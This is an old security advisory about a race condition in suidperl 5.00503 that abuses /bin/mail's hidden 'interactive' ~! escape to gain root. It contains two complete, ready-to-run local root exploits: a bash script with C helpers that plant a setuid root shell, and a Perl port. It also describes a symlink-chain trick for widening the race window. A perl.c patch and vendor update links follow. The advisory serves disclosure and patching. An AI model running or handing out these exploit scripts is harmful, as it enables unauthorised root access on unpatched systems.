|
COMMAND suid perl SYSTEMS AFFECTED sperl 5.00503 (and newer) PROBLEM Michal Zalewski found following. Not much to say ... This exploit gives instant root, at least on RedHat 6.x/7.0 Linux boxes available for tests... And for sure, all other systems are vulnerable as well - it's just maybe this code will need some refining / tuning / minor changes... Below you'll find brief description of vulnerability and exploit itself, written by me. Please note - Michal didn't developed everything by himself, he got great support from Sebastian Krahmer - see development history. This explouit requires: +s perl; bash, gcc, make, usleep (yup, usleep; it's not available on every system, but if you have time you can rewrite it in C). Development history of this exploit is really funny. Michal found this condition about 4 months ago, but thought it's useless. He deleted my test code and didn't left any notes on it. Then, month after this discovery, Sebastian contacted him. He was working on perl exploit. He told Michal he don't know how to cause this condition to happen, but if only he realise how it can be done, he'll be able to use undocumented /bin/mail feature; environmental variable 'interactive', which, if set, causes /bin/mail to interpret ~! commands (subshell requests) even if stdin is not on terminal. Michal spent next month (yes! no kidding!) trying to recall WHAT THE FSCK was the condition. This exploit tries to fit in rather short, but reasonable time window in order to exploit bug. It was tested on fast, not overloaded Linux box, and guess is that on slow machines it needs tunning. It needs anything setuid (/usr/bin/passwd is just fine), writable working directory and something around 4 minutes. Working directory should be mounted without noexec or nosuid options (if so, find something like /var/lib/svgalib etc). WARNING: On slow machines, it's quite possible this exploit will cause heavy load. Please test it when system is not overloaded and not used (eg. at night). Now, more info regarding the trick. a) If you'll try to fool perl, forcing it to execute one file instead of another (quite complicated condition, refer to source code), it generates such mail to administrator: From: Bastard Operator <root@nimue.tpi.pl> To: root@nimue.tpi.pl User 500 tried to run dev 769 ino 343180 in place of dev 769 ino 343183! (Filename of set-id script was /some/thing, uid 500 gid 500.) It is sent using /bin/mail root call with environment preserved This condition is quite easy to reach - my code is extermely ugly and slow (it's written in bash), so it requires reasonably fast machine (like pII/pIII x86 box). It can be optimized, of course. b) below you'll find script name, taken from argv[1]. c) /bin/mail has undocumented feature; if interactive=something, it will interpret ~! sequence even if not running on the terminal; it is not safe to use /bin/mail at privledged level. Three things, combined, allows you to execute command using ~! passed in script name. This command creates suid shell. The code: #!/bin/sh # # -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING -- # # Wonderful, lovely, world-smashing, exciting perl exploit. It works against # +s suidperl, exploiting undocumented /bin/mail feature when perl wants to # notify root on inode race conditions. Currently, tested under RH Linux. # # What's probably most shocking, buggy code has following comment inside: # /* heh, heh */. I guess author wasn't laughning last. # # I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it # - I think I can say it without shame), and especially thank to several of # my braincells that survived monitor radiation and made me recall this # race condition. # # Send comments, ideas and flames to <lcamtuf@ids.pl> # Tested with sperl 5.00503, but should work with any other as well. # # Good luck and don't abuse it. # clear echo "Suidperl 5.00503 (and newer) root exploit" echo "-----------------------------------------" echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>" echo "With great respect to Sebastian Krahmer..." echo SUIDPERL=/usr/bin/suidperl SUIDBIN=/usr/bin/passwd echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..." if [ ! -u $SUIDPERL ]; then echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or" echo " does not exist at all. If there's +s perl binary available," echo " please change SUIDPERL variable within exploit code." echo exit 0 fi if [ ! -u $SUIDBIN ]; then echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at" echo " all. Please pick any other +s binary and change SUIDBIN variable" echo " within exploit code." echo exit 0 fi echo "[+] Checks passed, compiling flares and helper applications..." echo cat >flare <<__eof__ #!/usr/bin/suidperl print "Nothing can stop me now...\n"; __eof__ cat >bighole.c <<__eof__ main() { setuid(0); setgid(0); chown("sush",0,0); chmod("sush",04755); } __eof__ cat >sush.c <<__eof__ main() { setuid(0); setgid(0); system("/bin/bash"); } __eof__ make bighole sush echo if [ ! -x ./sush ]; then echo "[-] Oops, seems to me I cannot compile helper applications. Either" echo " you don't have working 'make' or 'gcc' utility. If possible," echo " please compile bighole.c and sush.c manually (to bighole and sush)." echo exit 0 fi echo "[+] Setting up environment..." chmod 4755 ./flare FILENAME='none ~!bighole ' export interactive=1 PATH=.:$PATH echo "[+] Starting exploit. It could take up to 5 minutes in order to get" echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause" echo "[+] heavy system load." while :; do ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null & ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null & if [ -u ./sush ]; then echo echo "[+] VOILA, BABE :-) Entering rootshell..." echo rm -f "$FILENAME" sush.c bighole bighole.c flare ./sush echo echo "[+] Thank you for using Marchew Industries / dupa.ryba products." echo rm -f "$FILENAME" sush.c bighole bighole.c flare sush exit 0 fi done There are some interesting points regarding such (pseudo)race conditions. Lets have a look at a fragment of "suidperl ./filename" strace output (by Nergal): open("./filename", O_RDONLY) = 6 fcntl(6, F_SETFD, FD_CLOEXEC) = 0 fstat(6, {st_mode=S_IFREG|S_ISUID|0755, st_size=51, ...}) = 0 setreuid(0, 500) = 0 getuid() = 0 geteuid() = 500 stat("./filename", {st_mode=S_IFREG|S_ISUID|0755, st_size=51, ...}) = 0 Our exploit will succeed, if a context switch happens between open and stat syscalls. The probability is small, but of course its enough if we launch perl sufficient number of times. How can we improve our chances? Everybody uses nice(1) in scripts exploiting race conditions. On linux a niced process receives as large time quantum to execute as other processes, only less often. So, the probability of the time slice to end between "open" and "stat" remains the same. How about making "open" syscall consume all available time quantum (or yield context)? For instance, one can put "./filename" on NFS mounted filesystem, this should be enough. But its even easier. Lets make a script name (or, more precisely, a symlink which script name will point to) contain a lot of path components, symlinks etc. The following script #!/bin/sh mkdir d cd d DOT=`perl -e 'print "../d/"x200'` ln -s $DOT/2 1 ln -s $DOT/3 2 ln -s $DOT/4 3 ln -s $DOT 4 ONES=`perl -e 'print "1/"x500'` ln -s `which passwd` passwd ln -s $ONES/passwd ourlink creats "ourlink" symlink. Resolved, it would have 400000 path components. On my PC, stat("ourlink",&statbuf) call takes about 0.48 (!) seconds to execute (to compare, a stat on a simple symlink takes about 1/230000 s). So, in lcamtuf/sebastian's script, initially we need to point $FILENAME not directly at $SUIDBIN, but at "ourlink". One more gotcha, we can't use standard rm and ln commands, as they insist on stat-ing the file to be removed (therefore, they're slow). So, instead of ln -sf, we must create a C program, which does simply unlink($FILENAME);symlink("something",$FILENAME); Sebastian appended his version of the exploit, which is based on Michal's but doesnt require usleep nor a second setuid root program. Should work on BSD too. However only tested on linux. #!/usr/bin/perl # In spring 2000 i got a pointer from Dave Dittrich that my own perl-script # that i used for my EoE IDS used /bin/mail in an insecure way. However, # Dave told me that it is propably not exploitable. Some month later # i noticed that suidperl uses the same way to log intrusion-attempts. # I patched perl.c so that i could test the vuln without the race. After some # hard nights i found, that it was possible. The thing that made the exploit possible # was mail's hidden feature 'interactive'. I contacted some friends and # we all agreed that the exploit wouldn't be the easiest. However, after contacting # Michal too, he showed that we have been wrong. :) # Michal wrote the first exploit (shell-script) but it failed on my BSD box. # So i ported it to perl. # The warnings also apply to this program. FOR EDUCATIONAL PURPOSES ONLY!!! # Greetings as usual: You all know who you are :)) # S. sub REAPER { while (waitpid(-1, WNOHANG) > 0) { } } $SIG{CHLD} = \&REAPER; print "\n\nSuidperl 5.00503 (and newer) root exploit\n". "-----------------------------------------\n". "Bugdiscovery & Exploit by Sebastian Krahmer <krahmer\@cs.uni-potsdam.de>\n". "With [even greater] respect to Michal Zalewski, who wrote the first exploit!\n\n"; $suidperl = `which suidperl`; if ((stat($suidperl))[2] & 04000 != 04000) { print "No +s suidperl found.\n Aborting.\n"; return; } print "Your choice is $suidperl\n"; print "When you need to quit this program, just type\n". "'killall -9 hack.pl' on a second console.\n\n"; chdir("/tmp"); open O, ">flare1" or die "$!"; print O<<_EOF_; #!/usr/bin/suidperl print "I know!\n"; _EOF_ close O; open O, ">flare2" or die "$!"; print O<<_EOF_; #!/usr/bin/suidperl print "I know!"; _EOF_ close O; open O,">littlehole.c" or die "$!"; print O<<_EOF_; int main() { setuid(0); setgid(0); chown("boomsh", 0, 0); chmod("boomsh", 06755); return 0; } _EOF_ close O; open O, ">boomsh.c" or die "$!"; print O<<_EOF_; int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; } _EOF_ close O; chmod 04700, "flare1" or die "$!"; chmod 04700, "flare2" or die "$!"; `cc -o boomsh boomsh.c`; `cc -o littlehole littlehole.c`; print "OK. All pre-race stuff done. Starting race ...\n". "Please be patient. It can take some minutes.\n". "You can safely ignore error-messages like 'No such file ...'\n"; $filename = 'foo ~!littlehole '; $ENV{interactive}=1; $ENV{PATH}.= ":."; $p = $$; fork(); fork(); fork(); # maybe comment this out if box is slow fork(); #fork(); # the idea is simple (hey, i dont know why i didn't got this # idea before Michal! :) # We just fork off some suidperls with 2 different # inputfiles. Then the bruting change of symlinks will # hopefully hit on of the suidperl's race. # chances are good. while (((stat("boomsh"))[2] & 04000) != 04000) { unlink($filename); symlink("/tmp/flare1", $filename); system("nice -20 \"$filename\">/dev/null &"); unlink($filename); symlink("/tmp/flare2", $filename); system("nice -20 \"$filename\">/dev/null &"); } print "OK. /tmp/boomsh is setuid root!\n"; # the first one wins the prize :) if ($p != $$) { exit(0); } system("/tmp/boomsh"); If You symlink /bin/mail --> /usr/bin/mail and modify the script so that boomsh calls /bin/sh, this exploit does work with FreeBSD 4.0. SOLUTION A solution? If you don't use perl, delete the suidperl binary typically found in /usr/bin. If you do use perl, chmod -s suidperl whereever it is residing, but only if you don't use any of the functionality provided by suidperl - don't want to go breaking those scripts on mission critical servers. Or - install the OpenWall patches from www.openwall.com if you're running Linux - however please note that this theory requires further testing before. That fix, which just crudely dykes out the /bin/mail code is available at http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-08/msg00347.html or, if you're desperate, here: --- perl.c~ Sun Aug 6 22:08:32 2000 +++ perl.c Sun Aug 6 22:10:13 2000 @@ -2851,6 +2851,7 @@ if (tmpstatbuf.st_dev != PL_statbuf.st_dev || tmpstatbuf.st_ino != PL_statbuf.st_ino) { (void)PerlIO_close(PL_rsfp); +#ifdef DISGUSTINGLY_INSECURE if (PL_rsfp = PerlProc_popen("/bin/mail root","w")) { /* heh, heh */ PerlIO_printf(PL_rsfp, "User %"Uid_t_f" tried to run dev %ld ino %ld in place of dev %ld ino %ld!\n\ @@ -2860,7 +2861,8 @@ CopFILE(PL_curcop), PL_statbuf.st_uid, PL_statbuf.st_gid); (void)PerlProc_pclose(PL_rsfp); - } + } +#endif Perl_croak(aTHX_ "Permission denied\n"); } if ( FreeBSD 4.0 isn't vulnerable (for a few reasons). The First is the same as Debian: suidperl calls /bin/mail (it's hardcoded) and FreeBSD uses /usr/bin/mail. Also, there is no /bin/bash. If you install the bash package, it's /usr/local/bin/bash. If You symlink /bin/mail --> /usr/bin/mail and modify the script so that boomsh calls /bin/sh, this exploit does work with FreeBSD 4.0. Debian again proves to be highly security-aware: it does not even have a /bin/mail and is thus safe from this very attack. Of course, using /usr/bin/mail works fine, so any applications where /bin/mail was not hardcoded would be affected. mailx is a often used by other programs to send email. Unfortunately mailx as distributed in Debian GNU/Linux 2.1 has some features that made it possible to execute system commands if a user can trick a privileged program to send email using /usr/bin/mail. This has been fixed in version 8.1.1-10.1.1slink.2 by no longer allowing all configuration options to be set using the environment: http://security.debian.org/dists/stable/updates/source/mailx_8.1.1-10.1.1slink.2.diff.gz http://security.debian.org/dists/stable/updates/source/mailx_8.1.1-10.1.1slink.2.dsc http://security.debian.org/dists/stable/updates/source/mailx_8.1.1.orig.tar.gz http://security.debian.org/dists/stable/updates/binary-alpha/mailx_8.1.1-10.1.1slink.2_alpha.deb http://security.debian.org/dists/stable/updates/binary-i386/mailx_8.1.1-10.1.1slink.2_i386.deb http://security.debian.org/dists/stable/updates/binary-m68k/mailx_8.1.1-10.1.1slink.2_m68k.deb http://security.debian.org/dists/stable/updates/binary-sparc/mailx_8.1.1-10.1.1slink.2_sparc.deb http://security.debian.org/dists/potato/updates/main/source/mailx_8.1.1-10.1.3.diff.gz http://security.debian.org/dists/potato/updates/main/source/mailx_8.1.1-10.1.3.dsc http://security.debian.org/dists/potato/updates/main/source/mailx_8.1.1.orig.tar.gz http://security.debian.org/dists/potato/updates/main/binary-alpha/mailx_8.1.1-10.1.3_alpha.deb http://security.debian.org/dists/potato/updates/main/binary-arm/mailx_8.1.1-10.1.3_arm.deb http://security.debian.org/dists/potato/updates/main/binary-i386/mailx_8.1.1-10.1.3_i386.deb http://security.debian.org/dists/potato/updates/main/binary-powerpc/mailx_8.1.1-10.1.3_powerpc.deb http://security.debian.org/dists/potato/updates/main/binary-sparc/mailx_8.1.1-10.1.3_sparc.deb For Linux Mandrake: 6.0/RPMS/perl-5.00503-5mdk.i586.rpm 6.0/SRPMS/perl-5.00503-5mdk.src.rpm 6.1/RPMS/perl-5.00503-5mdk.i586.rpm 6.1/SRPMS/perl-5.00503-5mdk.src.rpm 7.0/RPMS/perl-5.00503-11mdk.i586.rpm 7.0/SRPMS/perl-5.00503-11mdk.src.rpm 7.1/RPMS/perl-5.600-5mdk.i586.rpm 7.1/RPMS/perl-base-5.600-5mdk.i586.rpm 7.1/SRPMS/perl-5.600-5mdk.src.rpm For RedHat: ftp://updates.redhat.com/5.2/sparc/mailx-8.1.1-16.sparc.rpm ftp://updates.redhat.com/5.2/sparc/perl-5.004m7-2.sparc.rpm ftp://updates.redhat.com/5.2/alpha/mailx-8.1.1-16.alpha.rpm ftp://updates.redhat.com/5.2/alpha/perl-5.004m7-2.alpha.rpm ftp://updates.redhat.com/5.2/i386/mailx-8.1.1-16.i386.rpm ftp://updates.redhat.com/5.2/i386/perl-5.004m7-2.i386.rpm ftp://updates.redhat.com/5.2/SRPMS/mailx-8.1.1-16.src.rpm ftp://updates.redhat.com/5.2/SRPMS/perl-5.004m7-2.src.rpm ftp://updates.redhat.com/6.2/sparc/mailx-8.1.1-16.sparc.rpm ftp://updates.redhat.com/6.2/sparc/perl-5.00503-11.sparc.rpm ftp://updates.redhat.com/6.2/i386/mailx-8.1.1-16.i386.rpm ftp://updates.redhat.com/6.2/i386/perl-5.00503-11.i386.rpm ftp://updates.redhat.com/6.2/alpha/mailx-8.1.1-16.alpha.rpm ftp://updates.redhat.com/6.2/alpha/perl-5.00503-11.alpha.rpm ftp://updates.redhat.com/6.2/SRPMS/mailx-8.1.1-16.src.rpm ftp://updates.redhat.com/6.2/SRPMS/perl-5.00503-11.src.rpm For Caldera Systems: - OpenLinux Desktop 2.3 is not vulnerable - OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0 perl-5.005_03-6S.i386.rpm perl-5.005_03-6S.src.rpm perl-add-5.005_03-6S.i386.rpm perl-examples-5.005_03-6S.i386.rpm perl-man-5.005_03-6S.i386.rpm perl-pod-5.005_03-6S.i386.rpm - OpenLinux eDesktop 2.4 perl-5.005_03-6.i386.rpm perl-5.005_03-6.src.rpm perl-add-5.005_03-6.i386.rpm perl-examples-5.005_03-6.i386.rpm perl-man-5.005_03-6.i386.rpm perl-pod-5.005_03-6.i386.rpm For TurboLinux: ftp://ftp.turbolinux.com/pub/updates/4.0/security/perl-5.00503-7.i386.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/security/perl-5.005_02-8TL.i386.rpm ftp://ftp.turbolinux.com/pub/updates/4.0/SRPMS/perl-5.005_02-8TL.src.rpm ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/perl-5.00503-7.src.rpm OpenBSD 2.7 release is not vulnerable because they don't have suidperl by default (that whole secure by default policy of not having stuff unless you need it, since non-setuid perl is fine for most). For SuSE: ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/perl.rpm ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/perl.spm ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/perl.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/perl.spm ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/perl.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/perl.spm ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/perl.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/perl.spm ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/perl.rpm ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/perl.spm ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/perl.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/perl.spm ftp://ftp.suse.com/pub/suse/axp/update/6.3/a1/perl.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/perl.spm ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/perl.rpm ftp://ftp.suse.com/pub/suse/axp/update/6.1/zq1/perl.spm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/perl.rpm ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/perl.spm Conectiva Linux: ftp://atualizacoes.conectiva.com.br/4.0/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.1/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.2/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.0/i386/perl-MD5-1.7-6cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/5.1/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/perl-MD5-1.7-6cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/perl-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/perl-doc-5.00503-8cl.i386.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/perl-MD5-1.7-6cl.i386.rpm ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/perl-MD5-1.7-6cl.src.rpm ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/perl-MD5-1.7-6cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/perl-5.00503-8cl.src.rpm ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/perl-MD5-1.7-6cl.src.rpm For Trustix: ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/mailx-8.1.1-16.i586.rpm ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/perl-5.00503-10tr.i586.rpm ftp://ftp.trustix.com/pub/Trustix/updates/1.1/SRPMS/mailx-8.1.1-16.src.rpm ftp://ftp.trustix.com/pub/Trustix/updates/1.1/SRPMS/perl-5.00503-10tr.src.rpm